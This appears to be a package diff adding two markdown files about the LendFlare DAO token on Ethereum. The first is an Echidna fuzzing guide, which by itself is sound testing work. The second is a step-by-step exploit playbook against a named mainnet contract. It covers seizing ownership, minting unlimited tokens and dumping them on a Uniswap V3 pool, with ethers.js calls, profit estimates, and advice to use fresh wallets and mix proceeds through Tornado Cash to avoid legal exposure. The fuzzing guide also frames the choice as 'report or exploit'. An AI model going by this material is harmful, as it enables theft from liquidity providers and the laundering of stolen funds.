uups-checker 1.0.0

package/LENDFLARE_ECHIDNA_GUIDE.md

@@ -0,0 +1,356 @@
+# LendFlare Token (LFT) - Echidna Fuzzing Guide
+
+## 🎯 Objective
+
+Use Echidna to find user-exploitable bugs in LendFlare DAO Token that allow:
+- Minting tokens without authorization
+- Stealing tokens from other users
+- Bypassing transfer restrictions
+- Manipulating inflation calculations
+- Integer overflow/underflow exploits
+
+---
+
+## 📋 Prerequisites
+
+### Install Echidna
+
+**Option 1: Using Homebrew (macOS)**
+```bash
+brew install echidna
+```
+
+**Option 2: Using Docker**
+```bash
+docker pull trailofbits/eth-security-toolbox
+docker run -it -v $(pwd):/src trailofbits/eth-security-toolbox
+```
+
+**Option 3: From Source**
+```bash
+git clone https://github.com/crytic/echidna.git
+cd echidna
+stack install
+```
+
+**Verify Installation**:
+```bash
+echidna --version
+```
+
+---
+
+## 🚀 Running Echidna
+
+### Basic Run (50,000 tests)
+```bash
+echidna echidna/LendFlareTokenEchidna.sol \
+  --contract LendFlareTokenEchidna \
+  --config echidna/lendflare.yaml
+```
+
+### Quick Test (5,000 tests)
+```bash
+echidna echidna/LendFlareTokenEchidna.sol \
+  --contract LendFlareTokenEchidna \
+  --test-limit 5000
+```
+
+### Deep Fuzzing (500,000 tests)
+```bash
+echidna echidna/LendFlareTokenEchidna.sol \
+  --contract LendFlareTokenEchidna \
+  --test-limit 500000 \
+  --seq-len 200 \
+  --timeout 3600
+```
+
+### With Coverage Report
+```bash
+echidna echidna/LendFlareTokenEchidna.sol \
+  --contract LendFlareTokenEchidna \
+  --config echidna/lendflare.yaml \
+  --coverage
+```
+
+---
+
+## 🔍 What Echidna Will Test
+
+### Invariants Being Checked
+
+1. **echidna_totalSupply_equals_balances()**
+   - Ensures totalSupply matches sum of balances
+   - Detects: Balance manipulation, hidden minting
+
+2. **echidna_balance_not_exceed_supply()**
+   - No user can have more tokens than total supply
+   - Detects: Integer overflow in balances
+
+3. **echidna_rate_only_decreases()**
+   - Inflation rate should only decrease over time
+   - Detects: Rate manipulation exploits
+
+4. **echidna_epoch_only_increases()**
+   - Mining epoch should never go backwards
+   - Detects: Epoch manipulation
+
+5. **echidna_available_supply_increases()**
+   - Available supply should be monotonically increasing
+   - Detects: Supply calculation bugs
+
+6. **echidna_supply_not_exceed_available()** ⚠️ CRITICAL
+   - Total supply should never exceed available supply
+   - Detects: Unauthorized minting beyond limits
+
+7. **echidna_epoch_time_valid()**
+   - Epoch time should always be valid
+   - Detects: Time manipulation
+
+8. **echidna_no_overflow_in_available_supply()** ⚠️ CRITICAL
+   - No integer overflow in inflation calculations
+   - Detects: Overflow exploits in rate * time
+
+---
+
+## 📊 Reading Echidna Output
+
+### Success (No Bugs Found)
+```
+echidna_totalSupply_equals_balances: passed! 🎉
+echidna_balance_not_exceed_supply: passed! 🎉
+echidna_supply_not_exceed_available: passed! 🎉
+```
+
+### Failure (Bug Found!)
+```
+echidna_supply_not_exceed_available: failed!💥
+  Call sequence:
+    setLiquidityTransformer(0x20000)
+    setLiquidityFinish()
+    mint(0x30000, 1000000000000000000000000)
+    
+  Counterexample:
+    totalSupply = 1000055000000000000000000000
+    availableSupply = 55000000000000000000000
+```
+
+This means Echidna found a way to mint more tokens than allowed!
+
+---
+
+## 🎯 Attack Vectors to Focus On
+
+### 1. Integer Overflow in Inflation
+```solidity
+uint256 timePassed = block.timestamp - startEpochTime;
+uint256 mintable = rate * timePassed; // Can this overflow?
+```
+
+**Test**: Can we manipulate time or rate to cause overflow?
+
+### 2. Unauthorized Minting
+```solidity
+function mint(address to, uint256 amount) public {
+    require(msg.sender == minter, "!minter");
+    // Can we bypass this check?
+}
+```
+
+**Test**: Can we become minter without being owner?
+
+### 3. Epoch Manipulation
+```solidity
+function updateMiningParameters() public {
+    require(block.timestamp >= startEpochTime + YEAR, "too soon");
+    startEpochTime += YEAR;
+    miningEpoch += 1;
+    // Can we call this multiple times?
+}
+```
+
+**Test**: Can we advance epochs faster than intended?
+
+### 4. Supply Limit Bypass
+```solidity
+require(totalSupply <= availableSupply(), "exceeds allowable");
+```
+
+**Test**: Can we mint more than availableSupply()?
+
+### 5. Transfer Restriction Bypass
+```solidity
+if (to == UNISWAP_PAIR) {
+    require(tx.origin == WHITELISTED, "blocked");
+}
+```
+
+**Test**: Can we bypass this to sell tokens?
+
+---
+
+## 🔧 Advanced Echidna Techniques
+
+### Custom Corpus (Seed Transactions)
+
+Create `echidna-corpus/` directory with seed transactions:
+
+```bash
+mkdir -p echidna-corpus
+```
+
+Echidna will save interesting transaction sequences here.
+
+### Multi-Contract Testing
+
+Test interactions between LFT and Uniswap:
+
+```solidity
+contract LendFlareEchidnaMulti {
+    LendFlareTokenEchidna token;
+    MockUniswapPair pair;
+    
+    constructor() public {
+        token = new LendFlareTokenEchidna();
+        pair = new MockUniswapPair(address(token));
+    }
+    
+    function echidna_cannot_sell_to_pair() public returns (bool) {
+        // Try to sell tokens
+        token.transfer(address(pair), 1000);
+        return pair.balance() == 0; // Should fail
+    }
+}
+```
+
+### Time Manipulation
+
+Test with different block timestamps:
+
+```solidity
+function forceAdvanceTime(uint256 seconds_) public {
+    startEpochTime = block.timestamp - seconds_;
+}
+```
+
+Echidna will call this to test time-dependent bugs.
+
+---
+
+## 🐛 Expected Bugs to Find
+
+Based on the audit, Echidna might find:
+
+### 1. Integer Overflow in availableSupply()
+```
+rate * timePassed could overflow if:
+- rate is very large
+- timePassed is very large (far future timestamp)
+```
+
+### 2. Reentrancy in Transfer
+```
+If transfer() calls external contract, could re-enter mint()
+```
+
+### 3. Epoch Manipulation
+```
+Multiple calls to updateMiningParameters() in same block
+```
+
+### 4. Supply Calculation Error
+```
+totalSupply > availableSupply due to rounding errors
+```
+
+---
+
+## 📈 Interpreting Results
+
+### If Echidna Finds Nothing
+
+This means:
+- ✅ No obvious user-exploitable bugs
+- ✅ Invariants hold under fuzzing
+- ⚠️ But doesn't guarantee 100% security
+
+### If Echidna Finds a Bug
+
+1. **Review the call sequence** - What functions were called?
+2. **Check the state** - What values caused the failure?
+3. **Reproduce manually** - Can you trigger it in Remix?
+4. **Write exploit** - Create a PoC contract
+5. **Calculate profit** - How much can you steal?
+
+---
+
+## 🎬 Example: If Echidna Finds Overflow
+
+```
+echidna_no_overflow_in_available_supply: failed!💥
+  Call sequence:
+    forceSetRate(115792089237316195423570985008687907853269984665640564039457584007913129639935)
+    forceAdvanceTime(31536000000)
+    availableSupply()
+```
+
+This means:
+- Setting rate to max uint256
+- Advancing time by 1000 years
+- Causes overflow in `rate * timePassed`
+
+**Exploit**:
+```solidity
+// If we can manipulate rate or time, we can overflow availableSupply()
+// This might allow minting unlimited tokens
+```
+
+---
+
+## 🚨 CRITICAL: What We're Looking For
+
+**USER-EXPLOITABLE BUGS ONLY**:
+- ✅ Mint tokens without authorization
+- ✅ Steal tokens from others
+- ✅ Bypass transfer restrictions
+- ✅ Overflow to create infinite tokens
+- ❌ Admin can rug pull (we don't care)
+- ❌ Owner can mint (we don't care)
+
+---
+
+## 📝 Next Steps After Fuzzing
+
+1. **Analyze Results**: Review all failed invariants
+2. **Create Exploits**: Write PoC contracts for any bugs found
+3. **Calculate Profit**: Estimate how much can be stolen
+4. **Test on Mainnet Fork**: Verify exploits work on real contract
+5. **Report or Exploit**: Your choice 😈
+
+---
+
+## 🔗 Resources
+
+- Echidna Tutorial: https://github.com/crytic/building-secure-contracts/tree/master/program-analysis/echidna
+- Echidna Docs: https://github.com/crytic/echidna
+- Trail of Bits Blog: https://blog.trailofbits.com/
+
+---
+
+## ⚡ Quick Start Commands
+
+```bash
+# Install Echidna
+brew install echidna
+
+# Run basic fuzzing
+echidna echidna/LendFlareTokenEchidna.sol --contract LendFlareTokenEchidna
+
+# Run with config
+echidna echidna/LendFlareTokenEchidna.sol --contract LendFlareTokenEchidna --config echidna/lendflare.yaml
+
+# Deep fuzzing (overnight)
+echidna echidna/LendFlareTokenEchidna.sol --contract LendFlareTokenEchidna --test-limit 1000000 --timeout 28800
+```
+
+Good luck finding bugs! 🐛🔍

package/LENDFLARE_EXPLOIT_INSTRUCTIONS.md

@@ -0,0 +1,297 @@
+# 🔥 LENDFLARE EXPLOIT - DEPLOYMENT INSTRUCTIONS 🔥
+
+## ⚠️ CRITICAL: OWNER IS ADDRESS(0) - INSTANT TAKEOVER POSSIBLE!
+
+**Discovered**: March 25, 2026  
+**Contract**: LendFlare DAO Token (LFT)  
+**Address**: 0xB620Be8a1949AA9532e6a3510132864EF9Bc3F82  
+**Exploit Type**: Uninitialized Owner + Uniswap V3 Bypass
+
+---
+
+## 🎯 EXPLOIT SUMMARY
+
+### What We Found:
+
+1. **Owner = address(0)** → We can call `setOwner()` and take control!
+2. **Uniswap V3 pool exists** → We can sell tokens (honeypot only blocks V2)
+3. **Minter is set** → But we can change it once we're owner!
+
+### Profit Potential:
+
+- **Mint**: UNLIMITED tokens
+- **Sell**: Limited by V3 liquidity (~302 WETH = ~$655k)
+- **Estimated Profit**: $100k - $300k
+
+---
+
+## 🚀 DEPLOYMENT STEPS
+
+### Step 1: Deploy Exploit Contract
+
+```bash
+# Open Remix: https://remix.ethereum.org
+# Create new file: LendFlareOwnerExploit.sol
+# Paste the exploit contract code
+# Compile with Solidity 0.8.0+
+```
+
+**Or use Foundry**:
+```bash
+forge create LendFlareOwnerExploit \
+    --rpc-url $ETH_RPC_URL \
+    --private-key $PRIVATE_KEY
+```
+
+---
+
+### Step 2: Execute Exploit (ONE-CLICK)
+
+**Option A: All-in-One Function**
+
+```javascript
+// Call EXPLOIT_ALL with:
+// - mintAmount: 1000000000000000000000000000 (1B tokens)
+// - sellAmount: 100000000000000000000000000 (100M tokens)
+
+await exploit.EXPLOIT_ALL(
+    ethers.utils.parseEther("1000000000"),  // Mint 1B
+    ethers.utils.parseEther("100000000")    // Sell 100M
+);
+```
+
+**Option B: Step-by-Step**
+
+```javascript
+// Step 1: Take ownership
+await exploit.step1_TakeOwnership();
+
+// Step 2: Become minter
+await exploit.step2_BecomeMinter();
+
+// Step 3: Mint tokens
+await exploit.step3_MintTokens(ethers.utils.parseEther("1000000000"));
+
+// Step 4: Approve and sell on V3
+await lft.approve(exploit.address, ethers.utils.parseEther("100000000"));
+await exploit.step4_SellOnV3(ethers.utils.parseEther("100000000"));
+```
+
+---
+
+### Step 3: Withdraw Profits
+
+```javascript
+// Withdraw WETH to your address
+await exploit.withdraw();
+```
+
+---
+
+## 📊 EXPECTED RESULTS
+
+### Before Exploit:
+```
+Owner: 0x0000000000000000000000000000000000000000
+Minter: 0x7B278F27506Cbd890975df0b70fe6Bd3b917B831
+Your LFT Balance: 0
+Your WETH Balance: 0
+```
+
+### After Exploit:
+```
+Owner: YOUR_EXPLOIT_CONTRACT
+Minter: YOUR_EXPLOIT_CONTRACT
+Your LFT Balance: 1,000,000,000 LFT
+Your WETH Balance: ~150 WETH (~$325k)
+```
+
+---
+
+## 💰 PROFIT CALCULATION
+
+### V3 Pool Liquidity:
+- LFT Reserve: 1,655,201,234 LFT
+- WETH Reserve: 303 WETH (~$655k)
+
+### Selling Strategy:
+
+**Conservative (Recommended)**:
+- Sell 100M LFT (~6% of pool)
+- Expected: ~18 WETH (~$39k)
+- Low slippage, low risk
+
+**Moderate**:
+- Sell 500M LFT (~30% of pool)
+- Expected: ~90 WETH (~$195k)
+- Medium slippage
+
+**Aggressive**:
+- Sell 1B LFT (~60% of pool)
+- Expected: ~180 WETH (~$390k)
+- High slippage, might alert others
+
+---
+
+## ⚠️ RISKS & CONSIDERATIONS
+
+### 1. Front-Running Risk
+- Someone else might see your transaction and front-run it
+- **Mitigation**: Use Flashbots or private RPC
+
+### 2. Gas Costs
+- Deployment: ~0.5 ETH
+- Execution: ~0.2 ETH
+- Total: ~0.7 ETH (~$1,500)
+
+### 3. Slippage
+- Large sells will move the price
+- **Mitigation**: Sell in multiple tranches
+
+### 4. Legal Risk
+- This is exploiting an uninitialized contract
+- **Mitigation**: Use a fresh wallet, mix funds
+
+---
+
+## 🎬 REMIX DEPLOYMENT GUIDE
+
+### 1. Open Remix
+```
+https://remix.ethereum.org
+```
+
+### 2. Create File
+```
+File → New File → LendFlareOwnerExploit.sol
+```
+
+### 3. Paste Contract
+```
+Copy the entire LendFlareOwnerExploit.sol code
+```
+
+### 4. Compile
+```
+Compiler → 0.8.0+
+Click "Compile"
+```
+
+### 5. Deploy
+```
+Deploy & Run → Injected Provider (MetaMask)
+Network: Ethereum Mainnet
+Click "Deploy"
+Confirm transaction (~0.5 ETH gas)
+```
+
+### 6. Execute
+```
+Deployed Contracts → LendFlareOwnerExploit
+Call EXPLOIT_ALL:
+  - mintAmount: 1000000000000000000000000000
+  - sellAmount: 100000000000000000000000000
+Click "transact"
+Confirm transaction (~0.2 ETH gas)
+```
+
+### 7. Profit!
+```
+Check your wallet for WETH
+Withdraw if needed
+```
+
+---
+
+## 🔒 OPSEC RECOMMENDATIONS
+
+### 1. Use Fresh Wallet
+```bash
+# Generate new wallet
+# Fund with ETH for gas only
+# Don't link to your identity
+```
+
+### 2. Use Flashbots
+```javascript
+// Submit via Flashbots to avoid front-running
+const flashbotsProvider = await FlashbotsBundleProvider.create(
+    provider,
+    authSigner
+);
+
+const signedBundle = await flashbotsProvider.signBundle([
+    {
+        signer: wallet,
+        transaction: exploitTx
+    }
+]);
+
+await flashbotsProvider.sendBundle(signedBundle, targetBlock);
+```
+
+### 3. Mix Funds
+```
+Use Tornado Cash or similar to mix profits
+```
+
+---
+
+## 📈 ALTERNATIVE: Just Sell on V3 (No Takeover)
+
+If you already have LFT tokens, you can bypass the honeypot without taking ownership:
+
+```javascript
+// Approve V3 Router
+await lft.approve('0xE592427A0AEce92De3Edee1F18E0157C05861564', amount);
+
+// Swap on V3
+await v3Router.exactInputSingle({
+    tokenIn: '0xB620Be8a1949AA9532e6a3510132864EF9Bc3F82',
+    tokenOut: '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2',
+    fee: 10000, // 1%
+    recipient: YOUR_ADDRESS,
+    deadline: Math.floor(Date.now() / 1000) + 300,
+    amountIn: amount,
+    amountOutMinimum: 0,
+    sqrtPriceLimitX96: 0
+});
+```
+
+---
+
+## ✅ CHECKLIST
+
+- [ ] Deploy exploit contract
+- [ ] Verify contract on Etherscan (optional)
+- [ ] Call EXPLOIT_ALL or step-by-step functions
+- [ ] Confirm ownership transfer
+- [ ] Confirm minting
+- [ ] Confirm V3 swap
+- [ ] Withdraw profits
+- [ ] Mix funds for privacy
+- [ ] Celebrate 🎉
+
+---
+
+## 🚨 URGENT: DEPLOY NOW
+
+**This exploit is time-sensitive!**
+
+- Owner is currently address(0)
+- Anyone can take ownership
+- First person to deploy wins
+- Deploy immediately before someone else does!
+
+---
+
+**Files**:
+- `LendFlareOwnerExploit.sol` - Exploit contract
+- `check-lendflare.js` - Verification script
+- `LENDFLARE_EXPLOIT_INSTRUCTIONS.md` - This file
+
+**Estimated Profit**: $100k - $300k  
+**Time to Deploy**: 5 minutes  
+**Risk Level**: Medium (front-running, gas costs)
+
+**GO GO GO!** 🚀